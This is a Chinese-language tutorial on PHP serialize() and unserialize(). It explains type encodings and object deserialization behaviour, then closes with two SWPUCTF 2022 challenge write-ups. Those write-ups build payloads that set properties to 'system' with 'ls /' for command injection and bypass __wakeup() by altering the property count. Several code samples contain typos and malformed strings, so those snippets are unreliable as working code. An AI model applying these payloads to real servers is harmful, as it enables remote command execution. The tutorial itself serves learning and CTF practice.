目录
2)反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关;
反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关;
一、序列化基础知识
1、序列化的作用
序列化:将对象的状态信息(属性)转换为可以存储或传输的形式的过程
对象/数组字符串
在php中使用函数serialize()将对象或者数组进行序列化,并返回一个包含字节流的字符串来表示。
2、表达方式
-
空符号
<?php
$a = null;
echo serialize($a);
?>
----------------------
N; //N->null
-
整形
<?php
$a = 666;
echo serialize($a);
?>
----------------------
i:666; //i->int
-
浮点型
<?php
$a = 66.6;
echo serialize($a);
?>
----------------------
d:66.6; //d->double
-
boolean型
<?php
$a = ture;
echo serialize($a);
?>
----------------------
b:1; //b->bool
<?php
$a = false;
echo serialize($a);
?>
----------------------
b:0;
-
字符串
<?php
$a = 'lin';
echo serialize($a);
?>
----------------------
s:3:"lin"; //s->string 3->字符串长度
-
数组
<?php
$a=array('lin','lin1','lin2');
echo $a[0];
echo serialize{$a};
?>
------------------------------
a:3 参数数量:{i:0 编号;s:3:"lin";i:1;s:4:"lin1";i:2;s:4:"lin2";}
3、对象的序列化(不能序列化‘类’;可以序列化‘对象’)
-
public
<?php
class test
{
public $pub='lin';
fuction state()
{
echo $this->pub;
}
}
$a=new test();
echo serialize($a);
?>
--------------------------
//只序列化成员变量,不序列化成员函数
O:4类名长度:"test"类名:1变量数量{s:3变量名字长度:"pub"变量名字;s:3值的长度:"lin"变量值;}
//O->object,
-
private
private私有属性序列化时在变量名前加“%00类名%00”
<?php
highlight_file(_FILE_);
class test
{
private $pub='lin';
function state()
{
echo $this->pub
}
}
$a = new test();
echo serialize($a);
?>
------------------------------
O:4:"test":1{s:9:"testpub";s:3:"lin";} //%00test%00pub,pub是test的私有属性
-
protected
protected受保护属性序列化时在变量名前加%00*%00
<?php
highlight_file(_FILE_);
class test
{
protected $pub='lin';
function state()
{
echo $this->pub
}
}
$a = new test();
echo serialize($a);
?>
------------------------------
O:4:"test":1{s:6:"*pub";s:3:"lin";} //%00*%00pub
-
成员属性调用对象
<?php
class test
{
var $pub='lin';
function state()
{
echo $this->pub;
}
}
class test2
{
var $ben;
function __contruct() //__contruct魔术方法构造函数
{
$this->ben=new test();
}
}
$a = new test2();
echo serialize($a);
?>
-----------------------------------------------------------
//实例化的对象$a的成员变量‘ben’调用实例化后的对象new test()
O:5:"test2":1{s:3:"ben";O:4:"test":1{s:3:"pub";s:3:"lin";}}
二、反序列化知识
1.反序列化的特性
1)反序列化之后的内容为一个对象;
2)反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关;
3)反序列化不触发类的成员方法;需要调用方法后才能触发
2.反序列化的作用
反序列化:将序列化后的参数还原成实例化的对象。
字符串对象
3.实例演示
-
反序列化之后的内容为一个对象
<?php
class test
{
public $a = 'lin';
protected $b = 666;
private $c = false;
public function displayVar()
{
echo $this->a
}
}
%d = 'O:4:"test";3:{s:1:"a";s:3:"lin";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}';
$e = urldecode($d);
$f = unserialize($e); //$f把字符串$e反序列化为对象
var_dump($f); //var_dump()用于打印变量的相关信息,包括变量的类型、值、长度等
--------------------------------------------------------------------------------------
object(test)#1 (3) {
["a"]=>
string(3) "lin"
["b":protected]=>
int(666)
["c":"test":private]=>
bool(false)
}
-
反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关;
<?php
class test
{
public $a = 'lin';
protected $b = 666;
private $c = false;
public function displayVar()
{
echo $this->a
}
}
%d = 'O:4:"test";3:{s:1:"a";s:5:"linge";s:4:"%00*%00b";i:888;s:7:"%00test%00c";b:1;}';
$e = urldecode($d);
$f = unserialize($e); //$f把字符串$e反序列化为对象
var_dump($f); //var_dump()用于打印变量的相关信息,包括变量的类型、值、长度等
--------------------------------------------------------------------------------------
object(test)#1 (3) {
["a"]=>
string(5) "linge"
["b":protected]=>
int(888)
["c":"test":private]=>
bool(true)
}
-
反序列化不触发类的成员方法;需要调用方法后才能触发
<?php
class test
{
public $a = 'lin';
protected $b = 666;
private $c = false;
public function displayVar()
{
echo $this->a //没有被调用
}
}
%d = 'O:4:"test";3:{s:1:"a";s:5:"linge";s:4:"%00*%00b";i:888;s:7:"%00test%00c";b:1;}';
$e = urldecode($d);
$f = unserialize($e); //$f把字符串$e反序列化为对象
$f->displayVar(); //调用函数
--------------------------------------------------------------------------------------
linge
三、反序列化漏洞
1.反序列化漏洞的成因
反序列化过程中,unserialize()接收的值(字符串)可控;通过改变这个值(字符串),得到所需要的代码,即生成的对象的属性值。
通过调用方法,触发代码执行。
2.例题(例题中涉及魔术方法另行学习)
[SWPUCTF 2022 新生赛]1z_unserialize
构造payload
将lt的值变为system;将$lly的值变为ls /和cat,实现命令注入
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
}
$a = new lyh();
$a->lt='system';
$a->lly='ls /';
echo serialize($a);
?>
[SWPUCTF 2022 新生赛]ez_ez_unserialize
构造payload
<?php
class X
{
public $x = 'fllllllag.php';
}
$a=new X;
echo serialize($a);
?>
由于要绕过__wakeup()函数
?x=O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}修改为O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}